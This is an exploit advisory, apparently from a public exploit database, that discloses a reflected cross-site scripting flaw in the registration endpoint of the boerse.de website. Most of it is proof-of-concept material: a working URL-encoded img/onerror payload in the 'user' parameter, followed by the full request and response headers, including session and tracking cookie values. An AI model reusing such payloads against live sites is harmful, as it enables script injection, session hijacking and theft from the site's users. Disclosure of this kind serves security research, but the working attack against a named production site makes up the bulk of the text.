# Exploit Title: [ Reflected XSS at Boerse DE ] # Date: [22.05.2018] # Exploit Author: [Ismail Tasdelen] # Vendor Homepage: [https://www.boerse.de] # Software Link: [ Website ] # Version: 1.0.0 # Tested on: Google Chrome / Mozilla FireFox # Reflected XSS Payload : "> "> "> # PoC : # General : Request URL: https://www.boerse.de/ajax/mybacstart.php?mode=register&user=%22%3E%3Cimg%20src=x%20onerror=prompt(%27ismailtasdelen%27)%3E&email=&pass=&pass2=&anrede=null&vorname=&name=&str=&plz=&ort=&land=null&agbok=false&linknr=67450inurl Request Method: GET Status Code: 200 OK Remote Address: 217.72.219.144:443 Referrer Policy: no-referrer-when-downgrade # Request Headers : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Connection: keep-alive Cookie: boersedeID=516638000; _ga=GA1.2.989253144.1526983087; _gid=GA1.2.801464415.1526983087; __sharethis_cookie_test__=1; _pk_ses.1.f29b=*; adp_segs=e0; __gads=ID=937cc82898e826b7:T=1526983084:S=ALNI_MaHFHxkarZZeXIErPdIGn7mZhyCxg; SL_C_23361dd035530_KEY=7780e94e74cea2ef6812c53aebc29e9f964cbf7b; cookieconsent_dismissed=yes; POPUPCHECK=1527069573974; axd=1001117171158050011; __unam=2e3076a-1638748d442-6be076fe-4; _pk_id.1.f29b=3d943b1a245b740e.1526983089.1.1526983820.1526983089. Host: www.boerse.de Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 # Response Headers : Access-Control-Allow-Credentials: true Connection: keep-alive Content-Encoding: gzip Content-Length: 3675 Content-Type: text/html; charset=utf-8 Date: Tue, 22 May 2018 10:17:49 GMT Server: nginx/1.2.1 Set-Cookie: boersedeID=516638000; expires=Thu, 21-Jun-2018 10:17:26 GMT; path=/ Vary: Accept-Encoding X-Powered-By: PHP/5.4.4-14+deb7u9 X-XSS-Protection: 0 # Query String Parameters : mode: register user: "> email: pass: pass2: anrede: null vorname: name: str: plz: ort: land: null agbok: false linknr: 67450inurl # You want to follow my activity ? https://www.linkedin.com/in/ismailtasdelen https://github.com/ismailtasdelen https://twitter.com/ismailtsdln